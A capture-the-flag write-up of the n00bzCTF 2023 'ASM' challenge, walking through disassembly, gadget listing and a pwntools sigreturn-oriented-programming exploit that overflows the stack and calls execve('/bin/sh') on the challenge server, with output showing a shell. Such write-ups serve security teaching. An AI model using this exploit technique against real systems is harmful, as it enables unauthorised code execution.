ASM

by sunbather / .hidden

Tags: pwn srop

Rating:

Description of the challenge

What can I say except, "You're welcome" :)

Author: NoobHacker

Solution

The binary name is `srop_me`, so we can assume this is an srop challenge. The binary is so small we can just objdump it. Seems like the source code was written in assembly.

```
srop_me:     file format elf64-x86-64


Disassembly of section .text:

0000000000401000 <vuln>:
  401000:   b8 01 00 00 00          mov    eax,0x1
  401005:   bf 01 00 00 00          mov    edi,0x1
  40100a:   48 be 00 20 40 00 00    movabs rsi,0x402000
  401011:   00 00 00
  401014:   ba 0f 00 00 00          mov    edx,0xf
  401019:   0f 05                   syscall
  40101b:   48 83 ec 20             sub    rsp,0x20
  40101f:   b8 00 00 00 00          mov    eax,0x0
  401024:   bf 00 00 00 00          mov    edi,0x0
  401029:   48 89 e6                mov    rsi,rsp
  40102c:   ba 00 02 00 00          mov    edx,0x200
  401031:   0f 05                   syscall
  401033:   48 83 c4 20             add    rsp,0x20
  401037:   c3                      ret

0000000000401038 <_start>:
  401038:   e8 c3 ff ff ff          call   401000 <vuln>
  40103d:   b8 3c 00 00 00          mov    eax,0x3c
  401042:   bf 00 00 00 00          mov    edi,0x0
  401047:   0f 05                   syscall
  401049:   c3                      ret

Disassembly of section .rodata:

0000000000402000 <msg>:
  402000:   48                      rex.W
  402001:   65 6c                   gs ins BYTE PTR es:[rdi],dx
  402003:   6c                      ins    BYTE PTR es:[rdi],dx
```

```
  402004:   6f                      outs   dx,DWORD PTR ds:[rsi]
  402005:   2c 20                   sub    al,0x20
  402007:   77 6f                   ja     402078 <binsh+0x69>
  402009:   72 6c                   jb     402077 <binsh+0x68>
  40200b:   64 21 21                and    DWORD PTR fs:[rcx],esp
  40200e:   0a                  or     ch,BYTE PTR [rdi]

000000000040200f <binsh>:
  40200f:   2f                      (bad)
  402010:   62                      (bad)
  402011:   69                      .byte 0x69
  402012:   6e                      outs   dx,BYTE PTR ds:[rsi]
  402013:   2f                      (bad)
  402014:   73 68                   jae    40207e <binsh+0x6f>
```

You can notice the program does a write to stdout with the first syscall in `<vuln>` (writes the bytes found at `0x402000` `<msg>`) and then reads 0x200 bytes with the second syscall in `<vuln>`. It is obvious this is a buffer overflow, so we have control of RIP. The problem here is that we can neither ret2libc (we lack any library to jump to) and we can't ROP chain either, because the binary is super small. We can use the hint and SROP the binary. The idea is to craft a sigreturn frame on the stack and then call the `sys_rt_sigreturn` syscall to call `execve` with `/bin/sh` as arguments. We look at the ROP gadgets found:

```
0x000000000040102e : add al, byte ptr [rax] ; add byte ptr [rdi], cl ; add eax, 0x20c48348 ; ret
0x0000000000401028 : add byte ptr [rax - 0x77], cl ; out 0xba, al ; add byte ptr [rdx], al ; add byte p
tr [rax], al ; syscall
0x0000000000401010 : add byte ptr [rax], al ; add byte ptr [rax], al ; mov edx, 0xf ; syscall
0x0000000000401043 : add byte ptr [rax], al ; add byte ptr [rax], al ; syscall
0x000000000040103f : add byte ptr [rax], al ; add byte ptr [rdi], bh ; syscall
0x0000000000401011 : add byte ptr [rax], al ; add byte ptr [rdx + 0xf], bh ; syscall
0x0000000000401040 : add byte ptr [rax], al ; mov edi, 0 ; syscall
0x0000000000401012 : add byte ptr [rax], al ; mov edx, 0xf ; syscall
0x0000000000401017 : add byte ptr [rax], al ; syscall
0x0000000000401041 : add byte ptr [rdi], bh ; syscall
0x0000000000401030 : add byte ptr [rdi], cl ; add eax, 0x20c48348 ; ret
0x0000000000401013 : add byte ptr [rdx + 0xf], bh ; syscall
0x000000000040102d : add byte ptr [rdx], al ; add byte ptr [rax], al ; syscall
0x0000000000401032 : add eax, 0x20c48348 ; ret
0x0000000000401034 : add esp, 0x20 ; ret
0x0000000000401033 : add rsp, 0x20 ; ret
0x000000000040103e : cmp al, 0 ; add byte ptr [rax], al ; mov edi, 0 ; syscall
0x0000000000401042 : mov edi, 0 ; syscall
0x000000000040102c : mov edx, 0x200 ; syscall
0x0000000000401014 : mov edx, 0xf ; syscall
0x000000000040102a : mov esi, esp ; mov edx, 0x200 ; syscall
0x0000000000401029 : mov rsi, rsp ; mov edx, 0x200 ; syscall
0x000000000040102b : out 0xba, al ; add byte ptr [rdx], al ; add byte ptr [rax], al ; syscall
0x0000000000401037 : ret
0x0000000000401019 : syscall
```

We have the syscall gadget, but no way of really controlling RAX, to be able to call `sys_rt_sigreturn`. However, we can use the previous syscall to control RAX. The return code of a syscall is written to RAX. For example, the read call will change RAX to however many bytes we've read. So we could use the read to setup the sigreturn frame on the stack and then return back to the read syscall, to read some more. Then we read exactly 15 bytes, to prepare `RAX=0xf` for `sys_rt_sigreturn`. Then we return to syscall and execute the frame prepared:

```
#!/usr/bin/env python3

from pwn import *

context.clear()
context.arch = "amd64"
```

```
#target = process("./srop_me")
target = remote("challs.n00bzunit3d.xyz", 38894)

sh_addr = 0x000000000040200f
syscall_gadget = 0x0000000000401019
read_gadget = p64(0x40101b)

frame = SigreturnFrame()
frame.rax = 59 # syscall code for execve
frame.rdi = sh_addr
frame.rsi = 0
frame.rdx = 0
frame.rsp = 0
frame.rip = syscall_gadget

payload = b"a" * 32 + read_gadget + p64(syscall_gadget) + bytes(frame)

target.sendline(payload)
target.sendline(b"a" * 0xe) # read 0xe bytes because it also reads the newline
target.interactive()
```

Run the exploit:

```
[+] Starting local process './srop_me': pid 32381
[*] Switching to interactive mode
Hello, world!!
$ whoami
sunbather
```

Shells achieved.

Original writeup (https://dothidden.xyz/n00bzctf_2023/asm/).

Comments